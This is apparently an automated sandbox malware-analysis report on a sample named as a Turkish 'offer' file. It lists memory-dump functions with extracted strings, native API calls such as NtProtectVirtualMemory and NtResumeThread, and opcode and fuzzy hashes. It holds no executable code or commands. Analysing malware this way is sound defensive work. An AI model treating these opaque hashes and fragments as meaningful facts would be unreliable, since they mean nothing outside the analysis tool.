Function 05982198 Relevance: 2.0, Strings: 1, Instructions: 793COMMON

Download Yara Rule

Strings

(aq, xrefs: 059824A8

Memory Dump Source

Source File: 00000000.00000002.2231971594.0000000005980000.00000040.00000800.00020000.00000000.sdmp, Offset: 05980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5980000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID:
String ID: (aq
API String ID: 0-600464949
Opcode ID: 037297907759e2293f54243399ddd74b56959188b638ab2d94c1acb3755aa3c5
Instruction ID: 6c32e6258993ea6fe9d1343a443f5d32cb11b6de1a4102f37e6f85df74b905a8
Opcode Fuzzy Hash: 037297907759e2293f54243399ddd74b56959188b638ab2d94c1acb3755aa3c5
Instruction Fuzzy Hash: 21629974A006158FCB58EFA9C494A7EFBF2FF88300F14856AE55AD7391DB34A905CB90

Function 0585EAF0 Relevance: 1.6, Strings: 1, Instructions: 376COMMON

Download Yara Rule

Strings

Te]q, xrefs: 0585EDAE

Memory Dump Source

Source File: 00000000.00000002.2231078076.0000000005850000.00000040.00000800.00020000.00000000.sdmp, Offset: 05850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5850000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID:
String ID: Te]q
API String ID: 0-52440209
Opcode ID: ec3280b6a1f524844319c4f54126879776b61d85439f1ae0bd9eb46f21cbdca4
Instruction ID: 631617eef39396c178d0e3585f615364cd31c876c187ebd0d50321bc4617f207
Opcode Fuzzy Hash: ec3280b6a1f524844319c4f54126879776b61d85439f1ae0bd9eb46f21cbdca4
Instruction Fuzzy Hash: 47F1E174A45218CFDB24CF69C884BA9BBF6BB49314F1081E9E90EE7255DB709E85CF01

Function 0598DCC0 Relevance: 1.6, APIs: 1, Instructions: 108nativeCOMMON

Download Yara Rule

APIs

NtProtectVirtualMemory.NTDLL(?,?,?,?,?), ref: 0598DD7D

Memory Dump Source

Source File: 00000000.00000002.2231971594.0000000005980000.00000040.00000800.00020000.00000000.sdmp, Offset: 05980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5980000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID: MemoryProtectVirtual
String ID:
API String ID: 2706961497-0
Opcode ID: bd5baecdf6f02c708a631f12ab65dd3828474e63895c6ce2d63be47c44651b95
Instruction ID: 722fbabcdb94ade76fc6f76dd38c3808b2bc87726802daa2e7fc80f88b5ed57f
Opcode Fuzzy Hash: bd5baecdf6f02c708a631f12ab65dd3828474e63895c6ce2d63be47c44651b95
Instruction Fuzzy Hash: B4418AB4D002589FCF10DFAAD984AEEFBB5FB49310F10942AE819B7250D735A945CFA4

Function 0598DCC8 Relevance: 1.6, APIs: 1, Instructions: 105nativeCOMMON

Download Yara Rule

APIs

NtProtectVirtualMemory.NTDLL(?,?,?,?,?), ref: 0598DD7D

Memory Dump Source

Source File: 00000000.00000002.2231971594.0000000005980000.00000040.00000800.00020000.00000000.sdmp, Offset: 05980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5980000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID: MemoryProtectVirtual
String ID:
API String ID: 2706961497-0
Opcode ID: 99eb112d4d2831a0c3d925fc54bbbca870970670bc70f3c05fe1857f7b30475e
Instruction ID: 404058b0d4db57ce2743795ae6f1211c4e9ebc66a69fb9fcdb02d8311628a01d
Opcode Fuzzy Hash: 99eb112d4d2831a0c3d925fc54bbbca870970670bc70f3c05fe1857f7b30475e
Instruction Fuzzy Hash: 814179B8D042589FCF10DFAAD980AEEFBB5BF49310F10942AE819B7250D735A945CF64

Function 0598F1AF Relevance: 1.6, APIs: 1, Instructions: 93nativethreadCOMMON

Download Yara Rule

APIs

NtResumeThread.NTDLL(?,?), ref: 0598F28E

Memory Dump Source

Source File: 00000000.00000002.2231971594.0000000005980000.00000040.00000800.00020000.00000000.sdmp, Offset: 05980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5980000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 36cd28a59dd703600115337b64c7b649de2972c6494754804043325e3d6026be
Instruction ID: 55b91c5809547f4d1db95bc697145c10dbb37e7fa36d53ae37ac11104e0b72f7
Opcode Fuzzy Hash: 36cd28a59dd703600115337b64c7b649de2972c6494754804043325e3d6026be
Instruction Fuzzy Hash: 2F3114B9D052089FDB10EFA8E844AEEFBF1FF4A310F14902AE419B7251C735A845CB64

Function 0598F1F9 Relevance: 1.6, APIs: 1, Instructions: 83nativethreadCOMMON

Download Yara Rule

APIs

NtResumeThread.NTDLL(?,?), ref: 0598F28E

Memory Dump Source

Source File: 00000000.00000002.2231971594.0000000005980000.00000040.00000800.00020000.00000000.sdmp, Offset: 05980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5980000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 90dfbd93e537e9ab08627f6c731c31e01f0bd6565cfdd5be1d3878d122e09ad1
Instruction ID: 74fee1ecc3a1769078aaa5fbf187e78fb3b2b84b501b74548bcae04af7902a1e
Opcode Fuzzy Hash: 90dfbd93e537e9ab08627f6c731c31e01f0bd6565cfdd5be1d3878d122e09ad1
Instruction Fuzzy Hash: CE319AB8D012189FCB10DFA9D984AEEFBF5FB49310F10942AE819B7200D775A945CF94

Function 0598F200 Relevance: 1.6, APIs: 1, Instructions: 82nativethreadCOMMON

Download Yara Rule

APIs

NtResumeThread.NTDLL(?,?), ref: 0598F28E

Memory Dump Source

Source File: 00000000.00000002.2231971594.0000000005980000.00000040.00000800.00020000.00000000.sdmp, Offset: 05980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5980000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: bc62ffb371f571631f39a77979cda0d8d78c2954333c9257c92475886e73ae17
Instruction ID: 311ba3b1c7c0327d0ad817155e75dd1ba35553a6171e44e1cdb2e043b0c6843e
Opcode Fuzzy Hash: bc62ffb371f571631f39a77979cda0d8d78c2954333c9257c92475886e73ae17
Instruction Fuzzy Hash: 02318BB8D012189FCB10DFA9D984AEEFBF5FB49310F10942AE815B7200C775A945CF94

Function 05C8DE50 Relevance: 1.5, Strings: 1, Instructions: 276COMMON

Download Yara Rule

Strings

Ddq, xrefs: 05C8DF55

Memory Dump Source

Source File: 00000000.00000002.2232891361.0000000005C70000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c70000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID:
String ID: Ddq
API String ID: 0-562783569
Opcode ID: 220c6ae343145e6f0e1275932e759ed70cf788435245fc7bfa629acf9693ede1
Instruction ID: e6c0c29835711f78524c98da33444b5fb189bbbd4d0816e51871d451c8fda289
Opcode Fuzzy Hash: 220c6ae343145e6f0e1275932e759ed70cf788435245fc7bfa629acf9693ede1
Instruction Fuzzy Hash: 94D1CF74A01218CFDB54EFA9D984A9DBBF2FF89304F1085A9D409AB365DB31AD81CF50

Function 05988A88 Relevance: 1.5, Strings: 1, Instructions: 260COMMON

Download Yara Rule

Strings

PH]q, xrefs: 05988D1A

Memory Dump Source

Source File: 00000000.00000002.2231971594.0000000005980000.00000040.00000800.00020000.00000000.sdmp, Offset: 05980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5980000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID:
String ID: PH]q
API String ID: 0-3168235125
Opcode ID: 4f31d7d490ac273f77153dd24b72205d20bf827ccf546211b3ca72ccb9ec8924
Instruction ID: 72d6191b1a849344d4a01fdd109d15497adf12541c7e09fff2f80c6c820b72c7
Opcode Fuzzy Hash: 4f31d7d490ac273f77153dd24b72205d20bf827ccf546211b3ca72ccb9ec8924
Instruction Fuzzy Hash: 18B115B0D05218CFDB24EFA9D844BBDBBF6BF49304FA498A9D009A7251DB744985CF24

Function 0585673F Relevance: 1.5, Strings: 1, Instructions: 257COMMON

Download Yara Rule

Strings

Te]q, xrefs: 058568D0

Memory Dump Source

Source File: 00000000.00000002.2231078076.0000000005850000.00000040.00000800.00020000.00000000.sdmp, Offset: 05850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5850000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID:
String ID: Te]q
API String ID: 0-52440209
Opcode ID: 28c03adfafc34424da27f6963f08778da224c2f254ee65f9726eb27db8c32b79
Instruction ID: 47e80d9e157b67490a9598c049e37d26f5d7a530cafafc988c88cd1f089d242f
Opcode Fuzzy Hash: 28c03adfafc34424da27f6963f08778da224c2f254ee65f9726eb27db8c32b79
Instruction Fuzzy Hash: 72B1D1B4E05208CFDB14CFAAD944AADBBF2BB49314F60816AD809EB351EB705D85CF41

Function 05988A78 Relevance: 1.5, Strings: 1, Instructions: 252COMMON

Download Yara Rule

Strings

PH]q, xrefs: 05988D1A

Memory Dump Source

Source File: 00000000.00000002.2231971594.0000000005980000.00000040.00000800.00020000.00000000.sdmp, Offset: 05980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5980000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID:
String ID: PH]q
API String ID: 0-3168235125
Opcode ID: fc8bbb48eaca752a870f2fc0b50565603af6dfefb23847904c07126e2ed7fa58
Instruction ID: c2386d8ed1c9cc40979bac77c6640daecd675210175491f2ae5cce850276166d
Opcode Fuzzy Hash: fc8bbb48eaca752a870f2fc0b50565603af6dfefb23847904c07126e2ed7fa58
Instruction Fuzzy Hash: CCB104B0D05208CFDB24EFA9D844BBDBBF6BB49304FA49869D009AB251DB745985CF24

Function 058567B0 Relevance: 1.5, Strings: 1, Instructions: 227COMMON

Download Yara Rule

Strings

Te]q, xrefs: 058568D0

Memory Dump Source

Source File: 00000000.00000002.2231078076.0000000005850000.00000040.00000800.00020000.00000000.sdmp, Offset: 05850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5850000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID:
String ID: Te]q
API String ID: 0-52440209
Opcode ID: d010edbded77395ade0cce0da3a9ebde86a0964b88397f2d073cc826a2d5e30b
Instruction ID: 3d03d77288d7437e08148664bbe6aaa9426ed6877f4e320a93eeac934f95728f
Opcode Fuzzy Hash: d010edbded77395ade0cce0da3a9ebde86a0964b88397f2d073cc826a2d5e30b
Instruction Fuzzy Hash: C6A1D2B4E05208CFDB14CFAAD945AADBBF2BB89314F608169D809EB355EB705D85CF01

Function 058567C0 Relevance: 1.5, Strings: 1, Instructions: 226COMMON

Download Yara Rule

Strings

Te]q, xrefs: 058568D0

Memory Dump Source

Source File: 00000000.00000002.2231078076.0000000005850000.00000040.00000800.00020000.00000000.sdmp, Offset: 05850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5850000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID:
String ID: Te]q
API String ID: 0-52440209
Opcode ID: 3d7e40b0787faa77fef4a2447fc53dfe253054f84e722c9909622476b39938bc
Instruction ID: a721f185d512803db14c6652b6b53b4dd000959a5e554f0d0f1415e6d6236536
Opcode Fuzzy Hash: 3d7e40b0787faa77fef4a2447fc53dfe253054f84e722c9909622476b39938bc
Instruction Fuzzy Hash: 1891D274E05208CFDB14CFAAD945BADBBF2BB89314F609069D809EB255EB705D85CF01

Function 0598DA10 Relevance: 1.4, Strings: 1, Instructions: 188COMMON

Download Yara Rule

Strings

tFindAtom, xrefs: 0598DAAE

Memory Dump Source

Source File: 00000000.00000002.2231971594.0000000005980000.00000040.00000800.00020000.00000000.sdmp, Offset: 05980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5980000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID:
String ID: tFindAtom
API String ID: 0-1172336341
Opcode ID: 1e036d2b74222ba2939efbbfe37039ae893d5084a6a593f23fea67009e2a9aae
Instruction ID: e901ac977004d97446183f9bb8f9f80a7ca994f968af5b10777c79cd00f58623
Opcode Fuzzy Hash: 1e036d2b74222ba2939efbbfe37039ae893d5084a6a593f23fea67009e2a9aae
Instruction Fuzzy Hash: A181F670E01208DFDB44EFA9D484AAEBBF6FF89300F148069E409AB395DB34A945CF54

Function 0598DA20 Relevance: 1.4, Strings: 1, Instructions: 184COMMON

Download Yara Rule

Strings

tFindAtom, xrefs: 0598DAAE

Memory Dump Source

Source File: 00000000.00000002.2231971594.0000000005980000.00000040.00000800.00020000.00000000.sdmp, Offset: 05980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5980000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID:
String ID: tFindAtom
API String ID: 0-1172336341
Opcode ID: e85bd0dc59676f6fd6ea8ca27ae6baa003fee9ded910d57f398c9f77d57a0364
Instruction ID: f67c3534249469fff1c9acb72ff687782bba9c40dc2980f14006e2cc7b861520
Opcode Fuzzy Hash: e85bd0dc59676f6fd6ea8ca27ae6baa003fee9ded910d57f398c9f77d57a0364
Instruction Fuzzy Hash: C871E570E01208DFDB44EFA9D484AAEBBF6FF89300F148069E409AB395DB34A945CF54

Function 059608C0 Relevance: .3, Instructions: 272COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2231818294.0000000005960000.00000040.00000800.00020000.00000000.sdmp, Offset: 05960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5960000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a1905aac939d8c67bc2e4836f8277ca7f49bb340505343492093bc30bb22572c
Instruction ID: 86b77239d4040307180cf7e2bb8fab5e68b94c2b04f88f0ef42bc226c6cea462
Opcode Fuzzy Hash: a1905aac939d8c67bc2e4836f8277ca7f49bb340505343492093bc30bb22572c
Instruction Fuzzy Hash: 21C11774A01218CFEB54DFA9D998BADBBF6FB49304F1094A9D40DAB381CB745988CF11

Function 0596ED89 Relevance: .2, Instructions: 218COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2231818294.0000000005960000.00000040.00000800.00020000.00000000.sdmp, Offset: 05960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5960000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e413b8c5c6e7a7f0276704a7f2514dc3529fefb9981877fe8d59658429f57e08
Instruction ID: c0b312faa011717f52c4d11c9ca2c4de15bdfbf1edc6b2241907c63db6aba486
Opcode Fuzzy Hash: e413b8c5c6e7a7f0276704a7f2514dc3529fefb9981877fe8d59658429f57e08
Instruction Fuzzy Hash: 70912778D05208CFDB04DFA8D444BAEBBFAFB49304F24946AE409AB295DB749959CF04

Function 05855AD0 Relevance: .2, Instructions: 202COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2231078076.0000000005850000.00000040.00000800.00020000.00000000.sdmp, Offset: 05850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5850000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2d882fb4fd5f88ec8ebaa0db342b3f9c61468c3d70b7a9761001a8193fb6515e
Instruction ID: faf7af4b1d29c904d22384bb55b6a2411984febe834109def5782bda3a7e806c
Opcode Fuzzy Hash: 2d882fb4fd5f88ec8ebaa0db342b3f9c61468c3d70b7a9761001a8193fb6515e
Instruction Fuzzy Hash: 18910570D05218CFEB64CF6AD844BADBBF2BB49328F6490A9D809E7251EB745D85CF00

Function 05962320 Relevance: .2, Instructions: 201COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2231818294.0000000005960000.00000040.00000800.00020000.00000000.sdmp, Offset: 05960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5960000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a2af87c04121af7aadc6352826a97a985862c692788033963590af9f7388472c
Instruction ID: 3141899b929febf274468f37f17664fc8dcdc02612135d72665f4008925c96b5
Opcode Fuzzy Hash: a2af87c04121af7aadc6352826a97a985862c692788033963590af9f7388472c
Instruction Fuzzy Hash: 1E813878E04208CFCB14DF68D494BADBBF6FB4A304F2490AAE409AB355DB759949CF01

Function 05855AC0 Relevance: .2, Instructions: 201COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2231078076.0000000005850000.00000040.00000800.00020000.00000000.sdmp, Offset: 05850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5850000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9b2264a6eedca3186f2a733fbed8e806132ca05728e17c29a647b27bc4c054c2
Instruction ID: 6c6da8949fc3319c0199f18b3a75165badc2ad59ca469fdb882b3b75d6b561b7
Opcode Fuzzy Hash: 9b2264a6eedca3186f2a733fbed8e806132ca05728e17c29a647b27bc4c054c2
Instruction Fuzzy Hash: C6910470E05218CFEB64CF6AD944BADBBF2BB49324F6480A9D809E7251DBB45D85CF00

Function 05855C30 Relevance: .2, Instructions: 172COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2231078076.0000000005850000.00000040.00000800.00020000.00000000.sdmp, Offset: 05850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5850000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eec030c70604ea92034e9c5b582eafa5b1a2defc25e738a8377409cc4b3c6209
Instruction ID: 4878e155478d5f8a3669f800f943b9f94d55eb88d4dc78a504964cbc543e07dd
Opcode Fuzzy Hash: eec030c70604ea92034e9c5b582eafa5b1a2defc25e738a8377409cc4b3c6209
Instruction Fuzzy Hash: BA81E470D05218CFEB64CF6AD944BADBBF2BB49324F6490A9D809E7251EB749D80CF00

Function 05937EE8 Relevance: 4.2, Strings: 3, Instructions: 478
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Haq, xrefs: 059383EC
Haq, xrefs: 0593843C
Haq, xrefs: 059383BD

Memory Dump Source

Source File: 00000000.00000002.2231654792.0000000005930000.00000040.00000800.00020000.00000000.sdmp, Offset: 05930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5930000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID:
String ID: Haq$Haq$Haq
API String ID: 0-3013282719
Opcode ID: 0ccbdf0e13a2bf42331536ef14d8976caf9473732ffb9311fde140f91b23a56d
Instruction ID: fc884563a72fbfe7138773f4a0a0f13f083b3dd7d82a94ed56a8736ecbd143f1
Opcode Fuzzy Hash: 0ccbdf0e13a2bf42331536ef14d8976caf9473732ffb9311fde140f91b23a56d
Instruction Fuzzy Hash: E0124834A00604CFCB65DFA5C885AAEBBF6FF89300F148929E5069B355DB35ED46CB90

Function 05939D18 Relevance: 4.1, Strings: 3, Instructions: 370
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4']q, xrefs: 05939F32
4']q, xrefs: 0593A011
4']q, xrefs: 0593A091

Memory Dump Source

Source File: 00000000.00000002.2231654792.0000000005930000.00000040.00000800.00020000.00000000.sdmp, Offset: 05930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5930000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID:
String ID: 4']q$4']q$4']q
API String ID: 0-705557208
Opcode ID: 244936e2f13b318d8667876b4c8c206d30faae5b436f4e3ca45a31e811e98b1e
Instruction ID: 0b8b96a9013e7e8286b0221a0ce8792ad8de3bf98b9125d0725f850546280b6d
Opcode Fuzzy Hash: 244936e2f13b318d8667876b4c8c206d30faae5b436f4e3ca45a31e811e98b1e
Instruction Fuzzy Hash: 97F1B434A10118DFCB08DFA4D999EADBBB2FF89300F558559E806AB365DB71EC42CB50

Function 0593E2F0 Relevance: 4.1, Strings: 3, Instructions: 364
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Haq, xrefs: 0593E481
(aq, xrefs: 0593E429
(aq, xrefs: 0593E455

Memory Dump Source

Source File: 00000000.00000002.2231654792.0000000005930000.00000040.00000800.00020000.00000000.sdmp, Offset: 05930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5930000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID:
String ID: (aq$(aq$Haq
API String ID: 0-2456560092
Opcode ID: 20f30c91e258a23b6d9c4164e73c201debee28ff75fd2e9de270794243749a99
Instruction ID: bc97a6d615e7beaa4cafb5a3f732cf7483524122a4c2b97b2db00e4d7effc473
Opcode Fuzzy Hash: 20f30c91e258a23b6d9c4164e73c201debee28ff75fd2e9de270794243749a99
Instruction Fuzzy Hash: 0FE13034B00209DFCB04EFA4D4959AEBBB6FF89300F158569E506AB365DB34ED42CB90

Function 057C0D98 Relevance: 3.1, Strings: 2, Instructions: 577COMMON

Download Yara Rule

Strings

4']q, xrefs: 057C1559
4']q, xrefs: 057C1549

Memory Dump Source

Source File: 00000000.00000002.2230984646.00000000057C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 057C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_57c0000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID:
String ID: 4']q$4']q
API String ID: 0-3120983240
Opcode ID: 469d7a587667b68d1400255fcd21e5d379c39247f342b77c4e3dfde4654b7643
Instruction ID: e472b46c9859da37734f2734b0c99f6588b222d88d3ecb88215acd65862088ff
Opcode Fuzzy Hash: 469d7a587667b68d1400255fcd21e5d379c39247f342b77c4e3dfde4654b7643
Instruction Fuzzy Hash: C542B3B4E04209CFCB14DF98D458AFEBBB6FB49301F5080ADE91267295C7785982DF91

Function 05934408 Relevance: 3.0, Strings: 2, Instructions: 516
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$]q, xrefs: 05934773
$]q, xrefs: 05934783

Memory Dump Source

Source File: 00000000.00000002.2231654792.0000000005930000.00000040.00000800.00020000.00000000.sdmp, Offset: 05930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5930000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID:
String ID: $]q$$]q
API String ID: 0-127220927
Opcode ID: cb96acf7142bb793848b4fdbcb05159b98249574eb39d305cbcf487011fa7ec9
Instruction ID: 5fd2aa2909bd44801e00b18b0bcdbb135315029e45eeccc1786bdd6e1b687644
Opcode Fuzzy Hash: cb96acf7142bb793848b4fdbcb05159b98249574eb39d305cbcf487011fa7ec9
Instruction Fuzzy Hash: F0226938E00259CFCF15DFA4D84AAAEBBF6FF48300F198414E845AB294DB749956CF51

Function 057C1DA8 Relevance: 3.0, Strings: 2, Instructions: 488
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4']q, xrefs: 057C244B
4']q, xrefs: 057C243B

Memory Dump Source

Source File: 00000000.00000002.2230984646.00000000057C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 057C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_57c0000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID:
String ID: 4']q$4']q
API String ID: 0-3120983240
Opcode ID: 31ac2c73071d62f4e8cd6c8a866e1420a6ee3cbafdc23d99f8993a3a94d5307c
Instruction ID: 560bc2197c927993b740cf4147c5e30f50a0f1ff109a6f67b29de1182a492356
Opcode Fuzzy Hash: 31ac2c73071d62f4e8cd6c8a866e1420a6ee3cbafdc23d99f8993a3a94d5307c
Instruction Fuzzy Hash: B922E274E05218CFCB24EFA4C5546ADBBB2BF8A301F6090ADD40AAB355CB746E85CF51

Function 057C18C0 Relevance: 2.9, Strings: 2, Instructions: 362
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4']q, xrefs: 057C1D66
4']q, xrefs: 057C1D56

Memory Dump Source

Source File: 00000000.00000002.2230984646.00000000057C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 057C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_57c0000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID:
String ID: 4']q$4']q
API String ID: 0-3120983240
Opcode ID: b731871a52ce7f4b81ac32d79032250529ce0aa183d0b405cb54d9eedf9c7693
Instruction ID: 05b3b14a9460e9772fc9c102776d0da30e3b81bd5a6eab823c7317fe30c40249
Opcode Fuzzy Hash: b731871a52ce7f4b81ac32d79032250529ce0aa183d0b405cb54d9eedf9c7693
Instruction Fuzzy Hash: 84F1BF74E05218DFCB28DFA4E4986ADBBB2FF8A311F60516DE416A7391DB346985CF00

Function 059379A0 Relevance: 2.8, Strings: 2, Instructions: 343
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(aq, xrefs: 059379B4
d, xrefs: 05937C01

Memory Dump Source

Source File: 00000000.00000002.2231654792.0000000005930000.00000040.00000800.00020000.00000000.sdmp, Offset: 05930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5930000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID:
String ID: (aq$d
API String ID: 0-3557608343
Opcode ID: defcd87cdec5d435e410ba391f899a10ecb82b7a60dcb2bea368a45fdaab92a0
Instruction ID: 7c5c1e1a9c6966b4a71017dc3fbd1e444e89e0d6708da483846c0492bce3b574
Opcode Fuzzy Hash: defcd87cdec5d435e410ba391f899a10ecb82b7a60dcb2bea368a45fdaab92a0
Instruction Fuzzy Hash: 89D14874600606CFCB14CF68C485E6AB7F6FF88310B198969E45A9B765DB30FD42CB94

Function 05933A18 Relevance: 2.7, Strings: 2, Instructions: 190
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Haq, xrefs: 05933BBD
(aq, xrefs: 05933B2E

Memory Dump Source

Source File: 00000000.00000002.2231654792.0000000005930000.00000040.00000800.00020000.00000000.sdmp, Offset: 05930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5930000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID:
String ID: (aq$Haq
API String ID: 0-3785302501
Opcode ID: 487d2e4b113382851483c6a0fc064341e19b5d38785d52fda9e8a1392acef92d
Instruction ID: 03bb113c65122685ba03b3179b039a67ccf4f1ac78aad7fb12ead2a6fd41420e
Opcode Fuzzy Hash: 487d2e4b113382851483c6a0fc064341e19b5d38785d52fda9e8a1392acef92d
Instruction Fuzzy Hash: 7261DD303442108FD759ABB9C855A2E7BBBEF85304B2448ADE5069F3A1DF35EC06CB91

Function 05935FE0 Relevance: 2.6, Strings: 2, Instructions: 147
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(aq, xrefs: 059360F4
(aq, xrefs: 0593614B

Memory Dump Source

Source File: 00000000.00000002.2231654792.0000000005930000.00000040.00000800.00020000.00000000.sdmp, Offset: 05930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5930000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID:
String ID: (aq$(aq
API String ID: 0-3916115647
Opcode ID: eda86592aed88c8f815db0dee246dc617749fa9e09ddc7d638db0600a3b9a5d2
Instruction ID: b4d9b150f2b45bfd5a09d1cbe29fe686644d493f0c1faba7e2c98b64e48623e7
Opcode Fuzzy Hash: eda86592aed88c8f815db0dee246dc617749fa9e09ddc7d638db0600a3b9a5d2
Instruction Fuzzy Hash: 2551BD313042059FDB559F69D856AAE3BA6FF85300F158069E906CB392CF35EC06CBA0

Function 0593059F Relevance: 2.6, Strings: 2, Instructions: 140COMMON

Download Yara Rule

Strings

(aq, xrefs: 059306D8
Haq, xrefs: 05930704

Memory Dump Source

Source File: 00000000.00000002.2231654792.0000000005930000.00000040.00000800.00020000.00000000.sdmp, Offset: 05930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5930000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID:
String ID: (aq$Haq
API String ID: 0-3785302501
Opcode ID: a756e0b8607db43cc60017dd27318629e0a117e25638192b91a5677fb193e52e
Instruction ID: f1ee556eebdbf205c114682ed69831d9226452840144104a3c2270da04073a3e
Opcode Fuzzy Hash: a756e0b8607db43cc60017dd27318629e0a117e25638192b91a5677fb193e52e
Instruction Fuzzy Hash: 4351E1302047518FE324DF6AC44475BBBE6EFC5314F048A2DE05A8B7A6DB78E805CB51

Function 0596C2CB Relevance: 2.5, Strings: 2, Instructions: 49COMMON

Download Yara Rule

Strings

, xrefs: 0596C3D5
2, xrefs: 0596C3FE

Memory Dump Source

Source File: 00000000.00000002.2231818294.0000000005960000.00000040.00000800.00020000.00000000.sdmp, Offset: 05960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5960000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID:
String ID: $2
API String ID: 0-4264767444
Opcode ID: 95ff841e50dbbc6fe298fff22208aff6e17940a65729df5dc1ce4568577bf217
